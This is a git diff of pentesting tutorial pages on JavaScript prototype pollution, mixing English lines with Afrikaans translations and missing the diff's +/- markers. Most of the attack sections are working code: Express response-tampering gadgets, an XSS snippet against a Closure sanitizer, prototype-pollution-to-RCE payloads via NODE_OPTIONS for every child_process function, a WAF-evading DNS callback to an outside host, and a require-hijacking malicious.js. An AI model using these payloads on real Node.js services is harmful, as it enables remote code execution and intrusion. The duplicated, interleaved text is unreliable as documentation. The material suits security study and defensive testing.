goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
document.body.append(node);
</script>
```
## References
## Verwysings
- [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
- [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)
- [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,68 +2,55 @@
{{#include ../../../banners/hacktricks-training.md}}
## Serve XSS responses
## Dien XSS-antwoorde
**For further details** [**take a look to the original reserach**](https://portswigger.net/research/server-side-prototype-pollution)
**Vir verdere besonderhede** [**kyk na die oorspronklike navorsing**](https://portswigger.net/research/server-side-prototype-pollution)
### Change JSON content-type to HTML
In an Express app using a **JSON content type response** and reflecting a JSON:
### Verander JSON-inhouds tipe na HTML
In 'n Express-app wat 'n **JSON-inhouds tipe antwoord** gebruik en 'n JSON reflekteer:
```javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
_.merge({}, req.body)
res.send(req.body)
})
```
In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can **confuse Express to serve up an HTML response.** This vulnerability relies on the application using **`res.send(obj)`** and using the body parser with the application/json content type.
In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhouds tipe nie. egter, met prototipe besoedeling kan ons **Express verwar om 'n HTML-antwoord te lewer.** Hierdie kwesbaarheid is afhanklik van die aansoek wat **`res.send(obj)`** gebruik en die liggaam parser met die toepassing/json-inhouds tipe.
```json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
```
By **polluting** **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
Deur **`body`** en **`_body`** eienskappe te **besoedel**, is dit moontlik om **Express te laat dien die HTML inhoud tipe** en die `_body` eienskap te reflekteer, wat lei tot gestoor XSS.
### Render UTF7
It's possible to make express **render UTF-7 content with**:
Dit is moontlik om express **UTF-7 inhoud te laat render met**:
```json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
```
## Veilige Skandeertegnieke
## Safe Scanning Techinques
### JSON spaces
The following PP will make attributes inside a JSON to have an extra space which won't break the functionality:
### JSON spasie
Die volgende PP sal eienskappe binne 'n JSON 'n ekstra spasie gee wat die funksionaliteit nie sal breek nie:
```json
{ "__proto__": { "json spaces": " " } }
```
Then a reflected JSON will looks like:
Dan sal 'n weerspieëlde JSON soos volg lyk:
```json
{"foo": "bar"} -- Note the extra space
```
### Blootgestelde Koppe
### Exposed Headers
The following PP gadget will make the server send back the HTTP header: **`Access-Control-Expose_headers: foo`**
Die volgende PP gadget sal die bediener dwing om die HTTP-kop: **`Access-Control-Expose_headers: foo`** terug te stuur.
```json
{ "__proto__": { "exposedHeaders": ["foo"] } }
```
Dit vereis dat die **CORS-module geïnstalleer word**
It requires the **CORS module to be installed**
### **OPTIONS Method**
With the following payload, it's possible to **hide a method from an OPTIONS response**:
### **OPTIONS Metode**
Met die volgende payload is dit moontlik om 'n **metode uit 'n OPTIONS-respons te verberg**:
```javascript
// Original reponse: POST,GET,HEAD
@ -72,57 +59,45 @@ With the following payload, it's possible to **hide a method from an OPTIONS res
//New response: POST;GET
```
### **Status**
It's possible to change the **returned status code** using the following PP payload:
Dit is moontlik om die **teruggegee statuskode** te verander met die volgende PP payload:
```json
{ "__proto__": { "status": 510 } }
```
### Fout
### Error
When you assign to a prototype with a primitive such as a string, it produces a **no-op operation since the prototype has to be an object**. If you attempt to assign a prototype object to the `Object.prototype` itself, this will **throw an exception**. We can use these two behaviours to **detect if prototype pollution was successful**:
Wanneer jy aan 'n prototipe toewys met 'n primitiewe soos 'n string, produseer dit 'n **geen-operasie nie, aangesien die prototipe 'n objek moet wees**. As jy probeer om 'n prototipe objek aan die `Object.prototype` self toe te wys, sal dit **'n uitsondering gooi**. Ons kan hierdie twee gedrag gebruik om **te detecteer of prototipe besoedeling suksesvol was**:
```javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
```
### Reflected Value
When an application includes an object in its response, creating an attribute with an **unusual name alongside `__proto__`** can be insightful. Specifically, if **only the unusual attribute is returned** in the response, this could indicate the application's vulnerability:
Wanneer 'n toepassing 'n objek in sy antwoord insluit, kan dit insiggewend wees om 'n attribuut met 'n **ongewone naam saam met `__proto__`** te skep. Spesifiek, as **slegs die ongewone attribuut in die antwoord teruggestuur word**, kan dit die toepassing se kwesbaarheid aandui:
```json
{ "unusualName": "value", "__proto__": "test" }
```
Moreover, in scenarios where a library like Lodash is employed, setting a property both via prototype pollution (PP) and directly inside the object offers another diagnostic approach. If such a property is omitted from the response, it suggests that Lodash is verifying the existence of the property in the target object before merging:
Boonop, in scenario's waar 'n biblioteek soos Lodash gebruik word, bied die instelling van 'n eienskap sowel via prototipe besoedeling (PP) as direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap uit die antwoord weggelaat word, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamgevoeg word:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```
## Verskeie
## Misc
### Allow Dots
There is an option in Express that allows you to **create objects from query string parameters**.\
You could definitely use it in a bug **chain** to exploit a **prototype pollution vulnerability**.
### Laat Punte Toe
Daar is 'n opsie in Express wat jou toelaat om **objekte te skep uit soekstring parameters**.\
Jy kan dit beslis in 'n fout **ketting** gebruik om 'n **prototipe besoedeling kwesbaarheid** te ontgin.
```json
{ "__proto__": { "allowDots": true } }
```
**`?foo.bar=baz` skep 'n objek in Node.**
**`?foo.bar=baz` create an object in Node.**
## References
## Verwysings
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,32 +2,31 @@
{{#include ../../../banners/hacktricks-training.md}}
## Vulnerable Code
Imagine a real JS using some code like the following one:
## Kwetsbare Kode
Stel jou voor 'n werklike JS wat 'n kode soos die volgende gebruik:
```javascript
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
return merge({}, target)
}
// Run prototype pollution with user input
@ -38,13 +37,11 @@ clone(USERINPUT)
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
```
## PP2RCE via env vars
**PP2RCE** means **Prototype Pollution to RCE** (Remote Code Execution).
According to this [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) when a **process is spawned** with some method from **`child_process`** (like `fork` or `spawn` or others) it calls the method `normalizeSpawnArguments` which a **prototype pollution gadget to create new env vars**:
**PP2RCE** beteken **Prototype Pollution to RCE** (Afgeleë Kode Uitvoering).
Volgens hierdie [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wanneer 'n **proses geopen** word met 'n metode van **`child_process`** (soos `fork` of `spawn` of ander) roep dit die metode `normalizeSpawnArguments` aan wat 'n **prototype pollution gadget is om nuwe env vars te skep**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -54,36 +51,34 @@ var envPairs = [];
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Kontroleer daardie kode, jy kan sien dit is moontlik om **`envPairs` te vergiftig** net deur die **attribuut `.env` te besoedel.**
Check that code you can see it's possible en **poison `envPairs`** just by **polluting** the **attribute `.env`.**
### **Poisoning `__proto__`**
### **Vergiftiging van `__proto__`**
> [!WARNING]
> Note that due to how the **`normalizeSpawnArguments`** function from the **`child_process`** library of node works, when something is called in order to **set a new env variable** for the process you just need to **pollute anything**.\
> For example, if you do `__proto__.avar="valuevar"` the process will be spawned with a var called `avar` with value `valuevar`.
> Let daarop dat, as gevolg van hoe die **`normalizeSpawnArguments`** funksie van die **`child_process`** biblioteek van node werk, wanneer iets aangeroep word om **'n nuwe omgewing veranderlike** vir die proses in te stel, jy net moet **enige iets besoedel**.\
> Byvoorbeeld, as jy `__proto__.avar="valuevar"` doen, sal die proses met 'n veranderlike genaamd `avar` met die waarde `valuevar` geskep word.
>
> However, in order for the **env variable to be the first one** you need to **pollute** the **`.env` attribute** and (only in some methods) that var will be the **first one** (allowing the attack).
> egter, om te verseker dat die **omgewing veranderlike die eerste een** is, moet jy die **`.env` attribuut** besoedel en (slegs in sommige metodes) sal daardie veranderlike die **eerste een** wees (wat die aanval toelaat).
>
> That's why **`NODE_OPTIONS`** is **not inside `.env`** in the following attack.
> Dit is waarom **`NODE_OPTIONS`** **nie binne `.env`** in die volgende aanval is.
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
@ -93,7 +88,7 @@ var proc = fork("./a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
@ -101,16 +96,14 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
### Poisoning `constructor.prototype`
### Besmetting van `constructor.prototype`
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
@ -119,7 +112,7 @@ proc = fork("a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
@ -127,21 +120,19 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
```
## PP2RCE via env vars + cmdline
A similar payload to the previous one with some changes was proposed in [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** The main differences are:
- Instead of storing the nodejs **payload** inside the file `/proc/self/environ`, it stores it i**nside argv0** of **`/proc/self/cmdline`**.
- Then, instead of requiring via **`NODE_OPTIONS`** the file `/proc/self/environ`, it **requires `/proc/self/cmdline`**.
'n Soortgelyke payload as die vorige een met 'n paar veranderinge is voorgestel in [**hierdie skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Die hoof verskille is:
- In plaas daarvan om die nodejs **payload** binne die lêer `/proc/self/environ` te stoor, stoor dit dit **binne argv0** van **`/proc/self/cmdline`**.
- Dan, in plaas daarvan om via **`NODE_OPTIONS`** die lêer `/proc/self/environ` te vereis, **vereis dit `/proc/self/cmdline`**.
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
@ -150,7 +141,7 @@ var proc = fork("./a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
@ -158,41 +149,35 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## DNS Interaksie
## DNS Interaction
Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
Deur die volgende payloads te gebruik, is dit moontlik om die NODE_OPTIONS omgewing veranderlike wat ons voorheen bespreek het, te misbruik en te bepaal of dit gewerk het met 'n DNS-interaksie:
```json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
```
Or, to avoid WAFs asking for the domain:
Of, om WAF's te vermy om vir die domein te vra:
```json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
```
## PP2RCE kwesbaarheid child_process funksies
## PP2RCE vuln child_process functions
In this section where are going to analyse **each function from `child_process`** to execute code and see if we can use any technique to force that function to execute code:
In hierdie afdeling gaan ons **elke funksie van `child_process`** ontleed om kode uit te voer en te kyk of ons enige tegniek kan gebruik om daardie funksie te dwing om kode uit te voer:
<details>
<summary><code>exec</code> exploitation</summary>
<summary><code>exec</code> uitbuiting</summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -204,7 +189,7 @@ const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
@ -218,13 +203,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
```
</details>
<details>
<summary><strong><code>execFile</code> exploitation</strong></summary>
<summary><strong><code>execFile</code> uitbuiting</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
@ -235,7 +218,7 @@ const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
@ -244,25 +227,23 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
Vir **`execFile`** om te werk, moet dit **node** uitvoer sodat die NODE_OPTIONS kan werk.\
As dit **nie** **node** uitvoer nie, moet jy uitvind hoe jy die **uitvoering** van wat ook al uitgevoer word, kan **verander met omgewing veranderlikes** en dit stel.
For **`execFile`** to work it **MUST execute node** for the NODE_OPTIONS to work.\
If it's **not** executing **node**, you need to find how you could **alter the execution** of whatever it's executing **with environment variables** and set them.
The **other** techniques **work** without this requirement because it's **possible to modify** **what is executed** via prototype pollution. (In this case, even if you can pollute `.shell`, you won't pollute that is being executed).
Die **ander** tegnieke **werk** sonder hierdie vereiste omdat dit **moontlik is om** **wat uitgevoer word** via prototype besoedeling te **verander**. (In hierdie geval, selfs al kan jy `.shell` besoedel, sal jy nie besoedel wat uitgevoer word nie).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<summary><code>fork</code> uitbuiting</summary>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
@ -272,7 +253,7 @@ var proc = fork("something")
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
@ -296,13 +277,11 @@ b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
```
</details>
<details>
<summary><strong><code>spawn</code> exploitation</strong></summary>
<summary><strong><code>spawn</code> uitbuiting</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -312,7 +291,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
@ -324,7 +303,7 @@ const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
@ -340,13 +319,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
</details>
<details>
<summary><strong><code>execFileSync</code> exploitation</strong></summary>
<summary><strong><code>execFileSync</code> uitbuiting</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -356,7 +333,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
@ -367,7 +344,7 @@ const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
@ -388,13 +365,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
```
</details>
<details>
<summary><strong><code>execSync</code> exploitation</strong></summary>
<summary><strong><code>execSync</code> uitbuiting</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -404,7 +379,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
@ -415,7 +390,7 @@ const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
@ -435,13 +410,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
```
</details>
<details>
<summary><strong><code>spawnSync</code> exploitation</strong></summary>
<summary><strong><code>spawnSync</code> uitbuiting</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -451,7 +424,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
@ -463,7 +436,7 @@ const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
@ -486,34 +459,31 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
</details>
## Forcing Spawn
## Dwing Spawn
In the previous examples you saw how to trigger the gadget a functionality that **calls `spawn`** needs to be **present** (all methods of **`child_process`** used to execute something calls it). In the previous example that was **part of the the code**, but what if the code **isn't** calling it.
In die vorige voorbeelde het jy gesien hoe om die gadget te aktiveer 'n funksionaliteit wat **`spawn`** moet **aanwezig** wees (alle metodes van **`child_process`** wat gebruik word om iets uit te voer, roep dit aan). In die vorige voorbeeld was dit **deel van die kode**, maar wat as die kode **nie** dit aanroep nie.
### Controlling a require file path
### Beheer oor 'n vereiste lêer pad
In this [**other writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) the user can control the file path were a **`require`** will be executed. In that scenario the attacker just needs to **find a `.js` file inside the system** that will **execute a spawn method when imported.**\
Some examples of common files calling a spawn function when imported are:
In hierdie [**ander skrywe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kan die gebruiker die lêer pad beheer waar 'n **`require`** uitgevoer sal word. In daardie scenario hoef die aanvaller net 'n **`.js` lêer binne die stelsel** te **vind wat 'n spawn metode sal uitvoer wanneer dit ingevoer word.**\
Sommige voorbeelde van algemene lêers wat 'n spawn funksie aanroep wanneer dit ingevoer word, is:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Find **more files below**
The following simple script will search for **calls** from **child_process** **without any padding** (to avoid showing calls inside functions):
- Vind **meer lêers hieronder**
Die volgende eenvoudige skrip sal soek na **aanroepe** van **child_process** **sonder enige padding** (om te verhoed dat aanroepe binne funksies gewys word):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```
<details>
<summary>Interesting files found by previous script</summary>
<summary>Interessante lêers gevind deur vorige skrip</summary>
- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
@ -527,27 +497,26 @@ done
</details>
### Setting require file path via prototype pollution
### Stel vereiste lêer pad in via prototipe besoedeling
> [!WARNING]
> The **previous technique requires** that the **user controls the path of the file** that is going to be **required**. But this is not always true.
> Die **vorige tegniek vereis** dat die **gebruiker die pad van die lêer** wat gaan **vereis** word, **beheer**. Maar dit is nie altyd waar nie.
However, if the code is going to execute a require after the prototype pollution, even if you **don't control the path** that is going to be require, you **can force a different one abusing propotype pollution**. So even if the code line is like `require("./a_file.js")` or `require("bytes")` it will **require the package you polluted**.
As die kode egter 'n vereiste gaan uitvoer na die prototipe besoedeling, selfs al **beheer jy nie die pad** wat gaan vereis word nie, kan jy **'n ander een afdwing deur prototipe besoedeling te misbruik**. So selfs al is die kode lyn soos `require("./a_file.js")` of `require("bytes")`, sal dit die **pakket wat jy besoedel het vereis**.
Therefore, if a require is executed after your prototype pollution and no spawn function, this is the attack:
Daarom, as 'n vereiste uitgevoer word na jou prototipe besoedeling en geen spawn funksie nie, is dit die aanval:
- Find a **`.js` file inside the system** that when **required** will **execute something using `child_process`**
- If you can upload files to the platform you are attacking you might upload a file like that
- Pollute the paths to **force the require load of the `.js` file** that will execute something with child_process
- **Pollute the environ/cmdline** to execute arbitrary code when a child_process execution function is called (see the initial techniques)
- Vind 'n **`.js` lêer binne die stelsel** wat wanneer **vereis** sal **iets uitvoer met `child_process`**
- As jy lêers na die platform wat jy aanval kan oplaai, kan jy 'n lêer soos dit oplaai
- Besoedel die pades om die **vereiste laai van die `.js` lêer** wat iets met child_process sal uitvoer, te dwing
- **Besoedel die environ/cmdline** om arbitrêre kode uit te voer wanneer 'n child_process uitvoeringsfunksie aangeroep word (sien die aanvanklike tegnieke)
#### Absolute require
#### Absolute vereiste
If the performed require is **absolute** (`require("bytes")`) and the **package doesn't contain main** in the `package.json` file, you can **pollute the `main` attribute** and make the **require execute a different file**.
As die uitgevoerde vereiste **absoluut** is (`require("bytes")`) en die **pakket bevat nie hoof** in die `package.json` lêer nie, kan jy die **`main` attribuut besoedel** en die **vereiste 'n ander lêer laat uitvoer**.
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -566,7 +535,7 @@ var proc = require("bytes")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
@ -574,27 +543,23 @@ clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 1
#### Relatiewe vereiste - 1
If a **relative path** is loaded instead of an absolute path, you can make node **load a different path**:
As 'n **relatiewe pad** gelaai word in plaas van 'n absolute pad, kan jy node **'n ander pad** laat laai:
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -611,7 +576,7 @@ var proc = require("./relative_path.js")
// Abusing the vulnerable code
